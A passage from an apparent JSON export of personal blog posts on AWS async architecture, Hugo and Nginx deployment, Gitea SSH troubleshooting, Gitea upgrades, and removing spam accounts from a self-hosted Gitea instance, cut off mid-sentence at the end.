[{"content":"The problem I was solving I was working on a notification flow where customers had to confirm that they had seen a message and followed its instructions. The confirmation came through a public API on our website.\nAccepting the confirmation was quick, but the follow-up work was not. The backend needed to create snapshots, perform expensive computation, call another service, and write more records to DynamoDB. I did not want the customer waiting for all of that work behind a spinner.\nMaking the follow-up asynchronous was the right decision. The API could persist the confirmation, return 200 OK, and let the expensive processing happen later. Eventual consistency was acceptable for this feature.\nThe open question was how to hand it off reliably without making the system unnecessarily difficult to operate.\nWhat I built The request first reached Service A, which ran as an ECS service. Service A wrote a confirmation record to DynamoDB and returned a successful response to the customer. Changes from the table were captured in Kinesis Data Streams, and Lambda consumed those records in batches.\nFor each confirmation, the Lambda called an internal endpoint on Service A. Service A then performed the snapshots, computation, downstream service call, and additional DynamoDB writes.\nsequenceDiagram participant Customer participant ServiceA as Service A participant DynamoDB participant Kinesis participant Lambda participant ServiceB as Service B Customer-\u0026gt;\u0026gt;ServiceA: Confirm notification ServiceA-\u0026gt;\u0026gt;DynamoDB: Write confirmation ServiceA--\u0026gt;\u0026gt;Customer: 200 OK DynamoDB-\u0026gt;\u0026gt;Kinesis: Capture table change Kinesis-\u0026gt;\u0026gt;Lambda: Deliver a batch loop Each confirmation in the batch Lambda-\u0026gt;\u0026gt;ServiceA: Call internal processing API ServiceA-\u0026gt;\u0026gt;ServiceA: Create snapshots and compute ServiceA-\u0026gt;\u0026gt;ServiceB: Call downstream service ServiceA-\u0026gt;\u0026gt;DynamoDB: Write results end At first glance, this was reasonable:\nthe customer received a fast response the confirmation was durable before processing began Kinesis buffered the asynchronous work Lambda supplied managed consumption and retries Service A retained the business logic for processing the confirmation The Lambda was not performing the expensive work itself. It translated a Kinesis record into a request back to the service that had produced the record.\ngraph TD A[Customer] --\u0026gt;|Public API| B[Service A] B --\u0026gt;|Write confirmation| C[DynamoDB] C --\u0026gt;|Change capture| D[Kinesis Data Streams] D --\u0026gt;|Batch| E[Lambda] E --\u0026gt;|Internal processing API| B B --\u0026gt;|Snapshots and results| C B --\u0026gt;|Downstream call| F[Service B] style E fill:#ff6b6b,stroke:#333,color:#fff style B fill:#ffa500,stroke:#333 The runtime path returned to Service A. That was not automatically incorrect, but in this case the detour added more operational cost than isolation.\nWhy Kinesis was part of the design Recovery time was an important requirement. Native DynamoDB Streams retain records for 24 hours. That was not enough time for an alarm to create an operational ticket, for the on-call engineer to investigate the failure, and for the team to deploy a safe fix.\nWe configured Kinesis Data Streams with its maximum 365-day retention period. When Lambda exhausted its processing attempts, its SQS on-failure destination received metadata for the failed Kinesis batch. That metadata included the stream, shard, and sequence-number range rather than the original records.\nThe Lambda had a separate recovery mode for messages redriven from SQS. It used the stored Kinesis metadata to retrieve the original records and process them again before retention expired.\nsequenceDiagram participant Kinesis participant Lambda participant SQS as SQS on-failure destination participant OnCall as On-call engineer Kinesis-\u0026gt;\u0026gt;Lambda: Deliver batch Lambda-\u0026gt;\u0026gt;Lambda: A callback fails Lambda--\u0026gt;\u0026gt;Kinesis: Batch fails Note over Kinesis,Lambda: Lambda retries according to the event-source configuration Lambda-\u0026gt;\u0026gt;SQS: Store failed-batch metadata SQS-\u0026gt;\u0026gt;OnCall: Alarm and operational ticket OnCall-\u0026gt;\u0026gt;SQS: Redrive after remediation SQS-\u0026gt;\u0026gt;Lambda: Invoke recovery mode Lambda-\u0026gt;\u0026gt;Kinesis: Retrieve records by shard and sequence range Lambda-\u0026gt;\u0026gt;Lambda: Process recovered records That recovery path explains why Kinesis was not simply replaceable with the native DynamoDB stream in the original design. The longer retention gave the team a much larger recovery window.\nIt also created a deadline: the SQS message did not contain the full source records, so recovery still depended on those records remaining in Kinesis.\nWhere the design became painful One failed confirmation retried the batch Lambda received a batch from Kinesis and made multiple requests to Service A. If one request failed, the Lambda invocation failed. The event-source mapping could then retry records that had already been processed successfully.\nAs I remember it, the DynamoDB writes used versioning to tolerate reprocessing. Service B's API was also idempotent, so repeating that downstream request did not repeat its logical effect. Those guarantees made replay safe at the two important boundaries even though successfully processed records could appear in a retried batch.\nThe Lambda was mostly an adapter The Lambda read Kinesis records, extracted confirmation data, and called Service A. It needed deployment configuration, IAM permissions, networking, authentication, alarms, and a recovery mode, even though the domain work still lived elsewhere.\nAn adapter is not inherently bad. In this case, however, it did not create a useful ownership boundary. It converted an event back into an internal request to the event's producer.\nDebugging crossed too many systems Answering \u0026quot;what happened to this confirmation?\u0026quot; could require correlating:\nthe original Service A request the DynamoDB confirmation the Kinesis record and shard position the Lambda invocation and batch the internal callback to Service A the downstream Service B request the SQS failure metadata The architecture had durable components, but the end-to-end operation was not represented as one durable execution that an engineer could inspect.\nBackground work competed with customer traffic The Lambda callbacks returned to the same Service A ECS deployment that handled customer requests. During a burst, background processing and public traffic competed for the same ECS task resources, request-handling capacity, and downstream connections.\nThe asynchronous boundary improved customer response time, but it did not isolate the expensive work from the customer-facing service.\nWhat I would consider now I did not implement a replacement, so I cannot honestly present one architecture as the proven answer. Looking back, I would evaluate two designs based on the shape of the work.\nOption 1: a queue-backed worker If the follow-up is fundamentally one unit of work owned by Service A, a dedicated worker is the simpler option.\ngraph TD A[Customer] --\u0026gt;|Confirm| B[Service A API ECS Service] B --\u0026gt;|One transaction| C[DynamoDB Confirmation and Job / Outbox] C --\u0026gt;|Read committed jobs| D[Outbox Publisher] D --\u0026gt;|Publish job ID| E[SQS] E --\u0026gt;|Long poll| F[Service A Worker ECS Service] F --\u0026gt;|Snapshots and computation| C F --\u0026gt;|Idempotent API call| G[Service B] By \u0026quot;Service A worker,\u0026quot; I mean a second ECS service rather than a background thread inside the customer-facing containers. The API and worker could use the same repository, container image, and domain libraries but start with different commands. The API service would run the HTTP server behind a load balancer. The worker service would have no public endpoint and would long-poll SQS.\nKeeping them separate would let the worker have its own task count, CPU and memory allocation, deployment lifecycle, and scaling policy. Queue depth could scale worker capacity without adding customer-facing API tasks, and expensive jobs would no longer consume the API service's request pool.\nThe worker would receive one or more SQS messages, process each job, and delete each successful message individually. If a job failed, the worker would leave that message undeleted. It would become visible again after the visibility timeout and eventually move to an SQS dead-letter queue after repeated failures. Unlike the original Lambda batch behavior, one failed confirmation would not require every successful message from the same receive operation to be retried.\nThis design still needs a reliable handoff. Writing a confirmation and sending an SQS message as two unrelated operations would introduce a failure gap. A transactional outbox or another durable publisher would be needed so that a successful confirmation cannot lose its background work.\nIn this version, Service A would write the confirmation and a durable job or outbox record in one DynamoDB transaction. A separate publisher would send the stable job ID to SQS. If publishing failed, the committed job record would remain available for another publishing attempt.\nRecovery in the worker design Normal recovery would rely on SQS visibility and redrive behavior:\nThe worker receives a job and SQS hides the message. The worker deletes the message only after the job succeeds. A failed or interrupted job becomes visible for another attempt. After the configured receive limit, SQS moves the message to the DLQ. An alarm creates an operational ticket. After remediation, the message is redriven to the source queue and processed again. That is simpler than reconstructing a Kinesis batch from shard and sequence-number metadata because the SQS DLQ contains the worker message itself.\nIt does not, by itself, replace the original 365-day recovery window. SQS retains messages for at most 14 days. To preserve long-term recovery, the DynamoDB job record would remain the authoritative source. An operator could find incomplete jobs and recreate SQS messages containing their stable job IDs even after the original queue message expired. The retention policy for those job records would need to match the actual recovery requirement.\nReprocessing would still depend on end-to-end idempotency. In this case, Service A's versioned DynamoDB writes and Service B's idempotent API provide the required protection for the known effects.\nI would favor this option when:\nthe processing is one cohesive operation Service A should continue owning its business rules and data separate worker capacity provides enough isolation step-level execution history is not required Option 2: Step Functions If the follow-up is better understood as several independently retryable steps, Step Functions becomes more compelling.\ngraph TD A[Confirmation event] --\u0026gt; B[Step Functions] B --\u0026gt; C[Validate current state] C --\u0026gt; D[Create snapshots / compute] D --\u0026gt; E[Call Service B] E --\u0026gt; F[Persist completion] style B fill:#4ecdc4,stroke:#333,color:#fff The main benefit would not be eliminating Lambda at all costs. It would be representing the operation as a durable workflow with visible state, step-specific retries, and an execution history.\nStep Functions could use AWS service integrations for workflow-owned DynamoDB state and small AWS API operations. That does not mean it should automatically write directly to Service A's private tables. Doing so could move coupling from an internal API contract to a database-schema contract and bypass business rules owned by the service.\nSome steps might still require Lambda, a worker, or another compute service. That is reasonable when the step performs real domain work or adapts an external protocol.\nI would favor this option when:\nthe operation has several meaningful stages stages need different retry or timeout policies operators need to see exactly which stage failed partial completion and compensation must be modeled explicitly the workflow crosses service boundaries How I would choose Question Queue-backed worker Step Functions Is the follow-up one cohesive Service A operation? Strong fit Possibly unnecessary Are there several independently retryable stages? Requires custom orchestration Strong fit Should Service A retain its domain and storage ownership? Natural fit Requires careful task boundaries Is an execution history important to operators? Must be built through logs and state Built into the workflow model Are compensating actions required? Must be implemented in worker logic Can be represented explicitly Is separate customer/background capacity the main need? Dedicated worker solves it directly Also possible, with more orchestration Is recovery needed beyond SQS's retention window? Keep durable job records outside SQS Keep durable workflow history and external recovery data as required The original architecture was defensible under time pressure, especially because recovery was a real requirement. My mistake was treating a collection of durable AWS components as if that automatically produced a simple, observable workflow.\nThe principles I took away Async processing should create a useful boundary Asynchronous processing decouples response time from processing time. Additional hops are worthwhile only when they improve durability, isolation, ownership, or operability.\nA callback into the producer deserves scrutiny, not an automatic ban An internal callback can preserve service ownership and business rules. It becomes questionable when the adapter adds no useful transformation or isolation and makes the operation harder to trace.\nBatch retries make idempotency an end-to-end requirement One failed record can cause successful work to run again. In this system, versioned DynamoDB writes and Service B's idempotent API made those retries safe. The same guarantees would remain necessary in either replacement design.\nRecovery design is part of the architecture The 365-day Kinesis retention and sequence-number recovery mode were not incidental details. They existed because on-call engineers needed enough time to diagnose, fix, and redrive failures safely.\nChoose orchestration according to the work A worker is often enough for one durable background operation. A workflow engine becomes valuable when the process has meaningful stages, independent failure policies, or compensating actions.\nReferences DynamoDB Streams retention Kinesis Data Streams retention Lambda failure handling for Kinesis event sources Using Kinesis Data Streams to capture DynamoDB changes EventBridge Pipes targets Step Functions DynamoDB integrations Transactional outbox pattern SQS visibility timeout SQS queue parameters and message retention ECS scaling guidance for job processors ","permalink":"https://minhdb.com/blog/i-built-an-async-notification-flow-that-called-back-into-itself/","summary":"\u003ch2 id=\"the-problem-i-was-solving\"\u003eThe problem I was solving\u003c/h2\u003e\n\u003cp\u003eI was working on a notification flow where customers had to confirm that they had seen a message and followed its instructions. The confirmation came through a public API on our website.\u003c/p\u003e\n\u003cp\u003eAccepting the confirmation was quick, but the follow-up work was not. The backend needed to create snapshots, perform expensive computation, call another service, and write more records to DynamoDB. I did not want the customer waiting for all of that work behind a spinner.\u003c/p\u003e","title":"I Built an Async Notification Flow That Called Back Into Itself"},{"content":"Update, November 2026: I no longer publish with rsync --delete from a CI runner. The Hugo build fix below still applies. The blog is now built on my machine and uploaded as a versioned release that the server switches to in one step; see A self-host life.\nMoving away from the development server My original Compose service ran:\nhugo: image: klakegg/hugo:latest command: server volumes: - \u0026#34;./2023-blog/:/src\u0026#34; hugo server is useful during development, but a production static site does not need a long-running Hugo process. A cleaner design is:\nGit source -\u0026gt; one-time Hugo build -\u0026gt; versioned static output -\u0026gt; read-only Nginx document root The design uses three distinct paths. These public examples intentionally use generic names:\nSource: /opt/example-blog/source Published: /srv/example-blog/current Nginx: /var/www/example-blog The Nginx container receives the published directory as a read-only bind mount:\nvolumes: - /srv/example-blog/current:/var/www/example-blog:ro Its HTTPS server uses:\nroot /var/www/example-blog; index index.html; location / { try_files $uri $uri/ =404; } Reproducing the Hugo failure The production build failed only with minification enabled:\ndocker compose run --rm --no-deps hugo --minify Hugo 0.107.0 reported JSON parse errors in several generated pages. The unminified build completed, so I inspected the generated HTML and extracted each application/ld+json block.\nThe malformed data was a PaperMod breadcrumb list containing adjacent objects without a comma:\n{ \u0026#34;@type\u0026#34;: \u0026#34;ListItem\u0026#34; } { \u0026#34;@type\u0026#34;: \u0026#34;ListItem\u0026#34; } The immediate source was not the page content. The site configuration used:\nbaseURL: \u0026#34;/\u0026#34; That old PaperMod template removed site.BaseURL from parent permalinks while constructing breadcrumbs. With / as the base, it also removed path separators and caused the template's comma condition to fail.\nThe production fix was to declare the canonical URL:\nbaseURL: \u0026#34;https://example.com/\u0026#34; The same Hugo 0.107.0 minified build then completed successfully. This also improves canonical URLs, structured data, feeds, and sitemaps.\nThis was a compatibility fix for the theme version in this repository, not a claim that every JSON-LD error is caused by baseURL. The reusable method was to reproduce with the production Hugo version, build without minification for inspection, extract the generated JSON-LD, and validate the malformed block before editing a template or configuration.\nPublishing the build After a successful build, I synchronized the contents of public/:\nset -euo pipefail SOURCE_DIR=/opt/example-blog/source DEPLOY_DIR=/srv/example-blog/current test \u0026#34;$DEPLOY_DIR\u0026#34; = \u0026#34;/srv/example-blog/current\u0026#34; test -s \u0026#34;$SOURCE_DIR/public/index.html\u0026#34; test -d \u0026#34;$DEPLOY_DIR\u0026#34; rsync -a --delete \\ \u0026#34;$SOURCE_DIR/public/\u0026#34; \\ \u0026#34;$DEPLOY_DIR/\u0026#34; The trailing slashes matter: this copies the contents of public into current, rather than creating current/public.\n--delete prevents stale pages from surviving after source files are removed. It also makes a bad destination dangerous. The literal-path assertion, source index.html check, and destination-directory check ensure that the command operates only on the dedicated deployment directory.\nDiagnosing the first Nginx 404 The host had both files:\n/opt/example-blog/source/public/index.html /srv/example-blog/current/index.html But the running Nginx container did not have:\n/var/www/example-blog/index.html The Compose file contained the new mount, but the container had been created before that change. Restarting an existing container does not change its mount definition. I recreated only Nginx:\ndocker compose up -d --force-recreate nginx The file then appeared inside the container, and:\ncurl -I https://example.com/ returned:\nHTTP/2 200 What I would do again I pin the Hugo version now. In this old image, latest did not even mean a recent Hugo release, and I build with the same version locally and in production. When minification fails, I treat it as a real error instead of turning minification off.\nI also keep the source and the published files apart, mount the published files read-only into the web server, and recreate a container whenever I change its ports, volumes, or environment. When something looks missing, I check the files from both the host and the container.\nNginx now serves plain files instead of proxying a development server, which is all a static blog needs. My current Nginx config is in A self-host life.\n","permalink":"https://minhdb.com/blog/production-hugo-nginx/","summary":"\u003cp\u003e\u003cstrong\u003eUpdate, November 2026:\u003c/strong\u003e I no longer publish with \u003ccode\u003ersync --delete\u003c/code\u003e from a CI runner. The Hugo build fix below still applies. The blog is now built on my machine and uploaded as a versioned release that the server switches to in one step; see \u003ca href=\"/blog/self-host/\"\u003eA self-host life\u003c/a\u003e.\u003c/p\u003e\n\u003ch2 id=\"moving-away-from-the-development-server\"\u003eMoving away from the development server\u003c/h2\u003e\n\u003cp\u003eMy original Compose service ran:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003ehugo\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"nt\"\u003eimage\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l\"\u003eklakegg/hugo:latest\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"nt\"\u003ecommand\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l\"\u003eserver\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"nt\"\u003evolumes\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e- \u003cspan class=\"s2\"\u003e\u0026#34;./2023-blog/:/src\u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003ehugo server\u003c/code\u003e is useful during development, but a production static site does not need a long-running Hugo process. A cleaner design is:\u003c/p\u003e","title":"Building and serving a production Hugo site with Docker and Nginx"},{"content":"The failure HTTPS access to Gitea worked, but cloning over SSH from my Windows machine failed:\nssh: connect to host git.example.com port 2221: Network is unreachable The repository was configured to expose the container's SSH server on host port 2221:\nports: - \u0026#34;2221:22\u0026#34; The correct clone form was therefore:\nssh://git@git.example.com:2221/owner/repository.git So I tested each network layer on its own.\nLayer 1: Is Gitea's SSH server healthy? On the server, I tested the published port through loopback:\nssh -T -p 2221 git@127.0.0.1 Gitea answered and identified my account. This proved:\nGitea's internal SSH server was running. My key was recognized. Docker's local port forwarding worked. It also separated authentication from connectivity. A Permission denied (publickey) response reaches an SSH server; a timeout or unreachable error does not.\nLayer 2: Is Docker publishing the port? I checked the Compose service, Docker mapping, and host listener:\ndocker compose ps server docker port gitea sudo ss -lntp | grep \u0026#39;:2221\u0026#39; The expected evidence was:\n0.0.0.0:2221-\u0026gt;22/tcp [::]:2221-\u0026gt;22/tcp and a docker-proxy listener on both IPv4 and IPv6.\nLayer 3: Does the host firewall allow it? UFW initially allowed SSH, HTTP, and HTTPS, but the custom Gitea SSH port needed its own inbound rule:\nsudo ufw allow from 203.0.113.10 to any port 2221 proto tcp \\ comment \u0026#39;Gitea SSH from trusted client\u0026#39; sudo ufw status numbered 203.0.113.10 is a documentation address and must be replaced with the trusted client's current public IP. Source restriction reduces exposure but requires updating the rule when the client address changes. If SSH cloning is intentionally public, an unrestricted rule may be appropriate, but it should be a conscious decision rather than the troubleshooting default.\nFirewall changes are state-changing operations, so I list the numbered rules before adding or deleting anything and confirm that the host's administrative SSH port remains allowed.\nLayer 4: Does the cloud firewall allow it? The cloud provider's firewall is independent of UFW. Port 2221 also needed an inbound TCP rule attached to the correct server, preferably with the same source restriction.\nAt this point, the client test still failed:\nTest-NetConnection git.example.com -Port 2221 Instead of guessing, I watched the server interface:\nsudo tcpdump -ni any \u0026#39;tcp port 2221\u0026#39; The capture showed repeated incoming SYN packets from my client:\nclient.high-port \u0026gt; server.2221: Flags [S] That was decisive evidence. DNS resolution and the external route were working, and the cloud firewall was delivering packets to the server. The missing SYN-ACK moved the investigation back to host forwarding and firewall behavior.\nAn unsuccessful ICMP ping would not change that conclusion. Many hosts and firewalls drop ping while permitting TCP, so TcpTestSucceeded and the packet capture were the relevant evidence.\nA reusable diagnostic order The final order is useful for any published container port:\nTest the application inside or through loopback. Confirm the container port mapping. Confirm a host process is listening. Check the host firewall. Check the cloud firewall. Capture packets on the server. Test authentication only after TCP connectivity succeeds. Each check answers one question and shrinks the search space. Changing every firewall at once may eventually work, but it destroys the evidence needed to understand why.\nSecurity considerations Publishing Gitea SSH does not grant shell access by itself. Gitea accepts the key, maps it to an application user, and restricts the available Git commands. Still, the public port should be maintained like any other Internet-facing service:\nKeep Gitea current. Remove unknown user and deploy keys. Prefer key-based authentication and disable password authentication where applicable. Restrict source addresses if practical. Monitor authentication and firewall logs. Do not confuse Gitea's git identity with a normal interactive host account. What solved it in the end was tracing how far a packet got before it disappeared, one layer at a time. (The addresses and hostnames above are documentation examples.)\n","permalink":"https://minhdb.com/blog/debugging-gitea-ssh-networking/","summary":"\u003ch2 id=\"the-failure\"\u003eThe failure\u003c/h2\u003e\n\u003cp\u003eHTTPS access to Gitea worked, but cloning over SSH from my Windows machine failed:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003essh: connect to host git.example.com port 2221: Network is unreachable\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe repository was configured to expose the container's SSH server on host port 2221:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003eports\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e- \u003cspan class=\"s2\"\u003e\u0026#34;2221:22\u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe correct clone form was therefore:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003essh://git@git.example.com:2221/owner/repository.git\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eSo I tested each network layer on its own.\u003c/p\u003e\n\u003ch2 id=\"layer-1-is-giteas-ssh-server-healthy\"\u003eLayer 1: Is Gitea's SSH server healthy?\u003c/h2\u003e\n\u003cp\u003eOn the server, I tested the published port through loopback:\u003c/p\u003e","title":"Debugging Gitea SSH across Docker and two firewalls"},{"content":"Why this was more than an image update My Gitea installation had been running version 1.18.0 for several years. Upgrading a stateful service is not equivalent to replacing a stateless web container: Gitea owns database migrations, configuration, repositories, keys, and user-generated data.\nBefore changing the image, I backed up MariaDB and the persistent Gitea directories. I also recorded the current Compose configuration and container versions. That created both a recovery path and a baseline for post-upgrade comparison.\nThe service was eventually moved to a pinned Gitea 1.26.2 image:\nservices: server: image: gitea/gitea:1.26.2 Pinning the version makes future changes intentional. A floating latest tag can turn an ordinary container recreation into an unplanned application upgrade.\nThe endpoints above describe my completed migration; they are not a recommendation to copy a direct 1.18-to-1.26 jump. For any old installation, the upgrade runbook should first cover the release notes for every intervening minor version, required stepping-stone versions, and database compatibility. It should not proceed without:\nA native database dump. A backup of /data, including app.ini, repositories, attachments, and keys. The exact old image reference or digest. Enough free disk space for migration work. A written rollback procedure that I have tested on restored data. Commands such as these inventory service names and images without printing the fully interpolated Compose environment, which may contain passwords:\ndocker compose config --services docker compose config --images docker compose ps docker inspect gitea --format \u0026#39;{{.Config.Image}}\u0026#39; Database startup was initially misleading Gitea reported:\ndial tcp ...:3306: connect: connection refused MariaDB later logged that it was ready for connections, while an unauthenticated health probe returned Access denied:\ndocker compose exec mariadb \\ mariadb-admin ping -h 127.0.0.1 Those messages described different stages:\nconnection refused meant nothing was accepting TCP connections yet. Access denied meant MariaDB was accepting connections but rejected an unauthenticated root login. That distinction is diagnostically useful, but an access-denied response is not a complete database health check. The real check uses a dedicated health-check account or the container's configured credential without printing it in logs or shell history.\nDocker DNS confirmed that the stable address was the Compose service name:\ndocker exec gitea getent hosts mariadb Gitea should connect to mariadb:3306, not a container IP that may change after recreation:\nenvironment: GITEA__database__HOST: mariadb:3306 Correcting the external URL After the upgrade, Gitea warned that it detected:\nhttp://git.example.com/ That did not match the public HTTPS site. The application receives HTTP from Nginx internally, but users access HTTPS externally. Both sides need to describe that relationship accurately.\nThe Gitea configuration became:\nenvironment: GITEA__server__DOMAIN: git.example.com GITEA__server__PROTOCOL: http GITEA__server__ROOT_URL: https://git.example.com/ PROTOCOL describes Gitea's internal listener. ROOT_URL is the canonical address used in links, emails, webhooks, OAuth callbacks, and clone URLs.\nThe Nginx proxy passes the original request information:\nlocation / { proxy_pass http://127.0.0.1:8080; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } This lets Gitea know that the original client used HTTPS even though the final proxy hop uses HTTP.\nThe internal listener can use HTTP while the public URL and the forwarded scheme stay HTTPS. My current Nginx config is in A self-host life.\nCleaning deprecated configuration Startup logs also identified an obsolete logging option:\n[log].ROUTER ... use [log].logger.router.MODE The active configuration now contains:\n[log] logger.router.MODE = console I verified the file from both the host and container, checked for environment overrides, restarted Gitea, and searched only the new startup logs:\ndocker compose logs --since 1m server | grep -i deprecat No output confirmed that the warning belonged to the previous process and had been resolved.\nI also checked the running version and new startup boundary rather than assuming that a successful container start meant the migration was complete:\ndocker compose exec server gitea --version docker compose logs --since 5m server Validation checklist After the upgrade, I verified:\nMariaDB migrations completed. Gitea reached its web listener. Existing users and repositories remained available. HTTPS links used the correct host and scheme. SSH clone URLs used the intended external port. Registration remained disabled. Startup logs contained no unresolved migration or deprecation errors. Nginx configuration passed nginx -t. The container started fine after the upgrade, and that is what fooled me: the public URLs and the database connection were still wrong. Now I check the app, the database, and the proxy together before I call an upgrade done.\nThe official Gitea Docker installation guide, backup and restore guide, and release notes remain the authority for commands that vary by version.\n","permalink":"https://minhdb.com/blog/upgrading-gitea-reverse-proxy/","summary":"\u003ch2 id=\"why-this-was-more-than-an-image-update\"\u003eWhy this was more than an image update\u003c/h2\u003e\n\u003cp\u003eMy Gitea installation had been running version 1.18.0 for several years. Upgrading a stateful service is not equivalent to replacing a stateless web container: Gitea owns database migrations, configuration, repositories, keys, and user-generated data.\u003c/p\u003e\n\u003cp\u003eBefore changing the image, I backed up MariaDB and the persistent Gitea directories. I also recorded the current Compose configuration and container versions. That created both a recovery path and a baseline for post-upgrade comparison.\u003c/p\u003e","title":"Upgrading Gitea and correcting its reverse-proxy configuration"},{"content":"Discovering the abuse While investigating storage growth, I found repository owners I did not recognize. Their names and repositories followed patterns common to search-engine spam: product keywords, numeric suffixes, empty projects, and matching wiki repositories.\nThe legitimate repositories belonged to my own user. The unknown accounts had accumulated over time because the Gitea instance was publicly reachable and registration had remained enabled.\nThis changed the task from simple disk cleanup into incident response. Removing large files was not enough; I needed to remove the application records, close the registration path, and review credentials.\nI covered the storage side in Recovering a Docker host from a full filesystem.\nGitea stores more than Git directories A repository in Gitea is represented in at least two important places:\nA bare Git repository on disk. Metadata and ownership records in Gitea's database. There may also be wiki repositories, issues, releases, attachments, webhooks, access records, and user relationships.\nDeleting a bare repository directory directly is therefore the wrong first move. It can leave a database record pointing to missing files. Deleting database rows manually has the opposite risk: orphaned repositories and incomplete related-data cleanup.\nI used supported Gitea administration paths for users and repositories whenever possible. Before any deletion, I backed up:\nMariaDB. Gitea's app.ini. Git repositories. Attachments and other application data. The database dump was written to a separate mounted volume so it would not consume more space on the already constrained root filesystem.\nA backup is useful only if it can be restored. I recorded the Gitea, MariaDB, and Git versions alongside it, checked that the files were non-empty, and protected the backup as sensitive data: it can contain password hashes, repository contents, tokens, configuration secrets, and private keys.\nEstablishing the cleanup set I treated my known account as the allowlist and reviewed every other user. For each suspicious account, I checked:\nRepository names and descriptions. Creation and update dates. Whether it owned a corresponding .wiki.git repository. Whether it had organization membership or collaborator access. Whether it had SSH keys, access tokens, or active sessions. This avoided deleting a forgotten legitimate account based only on an unusual name.\nThe Gitea CLI can produce a read-only user inventory from inside the application container:\ndocker compose exec --user git server \\ gitea --config /data/gitea/conf/app.ini admin user list I compared that inventory with the Administration pages, repository ownership, organizations, and access records. (I'm leaving the output out; it lists account names and email addresses.)\nOnce confirmed, I removed the spam-owned repositories and then removed their user accounts through Gitea's Administration UI. This order made ownership explicit before account deletion. Gitea also provides gitea admin user delete, but deletion syntax and behavior should be checked against the installed version with:\ndocker compose exec --user git server \\ gitea --config /data/gitea/conf/app.ini admin user delete --help I deliberately do not include a ready-to-paste bulk deletion loop. An allowlist typo in such a command could destroy legitimate accounts and repositories. After each small batch, I verified that the UI records and corresponding repository directories were gone.\nClosing the registration path The durable configuration change was to disable self-registration:\nenvironment: GITEA__service__DISABLE_REGISTRATION: \u0026#34;true\u0026#34; After changing Compose configuration, I recreated the Gitea service rather than merely restarting the old container:\ndocker compose up -d --force-recreate server I then checked the effective Compose configuration and container environment:\ndocker inspect gitea \\ --format \u0026#39;{{range .Config.Env}}{{println .}}{{end}}\u0026#39; | grep \u0026#39;^GITEA__service__DISABLE_REGISTRATION=\u0026#39; The registration page should no longer allow arbitrary users to create accounts.\nReviewing credentials Because unknown users had already used the service, I treated all persistent access mechanisms as worthy of review:\nGitea administrators. User and deploy SSH keys. Personal access tokens. OAuth applications. Webhooks. Sessions. Database credentials. Host SSH access. I also updated the Gitea administrator password through Gitea's own administrative tooling instead of trying to store a plaintext password in MariaDB. Application-managed password hashes should be generated by the application.\nDisabling registration stops new self-service accounts; it does not invalidate existing sessions, SSH keys, access tokens, OAuth grants, or webhooks. Those require separate review or revocation.\nValidation The cleanup was not finished until I verified:\ndocker compose ps docker compose logs --tail 100 server docker compose logs --tail 100 mariadb I also checked:\nMy legitimate repositories still opened and cloned. New public registration was disabled. Spam owners no longer appeared in Explore. Disk usage stopped growing unexpectedly. Gitea could still read every remaining repository. Lessons learned Deleting files and deleting Gitea users or repositories are different jobs. Gitea keeps its users, database records, and repository folders in sync, so I let Gitea do the deleting.\nI also learned to close registration from day one when I'm not 